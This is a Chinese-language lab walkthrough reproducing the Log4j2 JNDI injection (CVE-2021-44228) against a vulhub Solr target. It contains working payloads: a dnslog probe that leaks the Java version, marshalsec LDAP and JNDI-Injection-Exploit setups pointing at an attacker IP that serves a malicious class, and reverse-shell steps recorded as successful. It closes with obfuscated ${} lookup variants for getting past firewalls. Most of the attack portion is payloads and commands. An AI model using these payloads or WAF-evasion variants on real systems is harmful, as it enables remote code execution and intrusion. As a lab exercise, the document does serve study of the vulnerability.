log4j2
什么是log4j2
Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。
这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码
log4j2 jndi注入复现(CVE-2021-44228)
利用是搭建的vulhub靶场
1 | git clone https://github.com/vulhub/vulhub.git//拉取镜像 |

接下来进行漏洞探测

url上面发同样的payload不知道为什么dnslog没有反应,换了一种方法,利用工具postman来发

回显了Java的版本1.8.0_102,这样我们就可以探测出是存在漏洞点的,payload:?action=${jndi:ldap://${sys:java.version}.7zw40l.dnslog.cn}
漏洞利用
打反弹shell

对命令进行编码
[bookmarklink]
法1,Java反序列化
然后就可以写我们的exp
1 | public class Exp { |

将编写好的脚本上传到攻击机上去

进入我们存放class文件的目录下,运行python3 -m http.server 4444,将class文件映射出来

下载工具编译jar包
git clone https://github.com/mbechler/marshalsec.git
进入marshalsec目录,运行mvn clean package -Dmaven.test.skip=true
进入target文件中运行下面的命令
使用marshalsec工具,开启RMI服务,监听1389端口,并指向我们恶意代码文件地址
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://198.23.148.51:4444/#Exp" 1389 |
payloadhttp://198.23.148.51:8983/solr/admin/cores?action=${jndi:ldap://198.23.148.51:1389/Exp}GET传参即可

监听反弹shell端口

ldap监听情况

开放的4444端口情况

反弹shell也收到了

法2
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
利用工具JNDI-Injection-Exploit,在虚拟机上面下载好,环境需求Java,Maven
然后配置好环境,安装好后进入JNDI-Injection-Exploit文件内,运行命令mvn clean package -DskipTests,在target文件夹生成.jar文件
1 | 原命令 |

payload:访问http://198.23.148.51:8983/solr/admin/cores?action=${jndi:rmi://198.23.148.51:1099/br9bad}//选择这个的原因是我们一开始dns得到的版本是JDK1.8
或者http://198.23.148.51:8983/solr/admin/cores?action=${jndi:ldap://198.23.148.51:1099/br9bad}


成功获取shell
log4j解析${}存在递归操作实现绕过防火墙
假如传入的是${11111${222222}333333},他会先执行${222222}然后将数据替换回去,变成${11111XXXXXX333333}来继续执行,所以执行的顺序是从里到外
可以通过log4j2的代码特性来实现对防火墙的绕过操作
相关变形payload
1 | ${jndi:ldap://127.0.0.1:1389/a} |
来看一下这个例子的解析${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}
从里到外,因此会先执行${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a,接着就是递归调用,处理${::-j},${::-n}这样的字符串
传入的就是::-j,由于他没有了相关的标识符${},所以就直接进行了解析操作,因为:-作为分隔,所以主键是:,值是j,接着就会把${::-j}字符串替换为j,以此类推,最终获得的字符串就是jndi:rmi://ceye.io/a
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/tgmkudnrof4tahvl
语雀文档ID: 191953074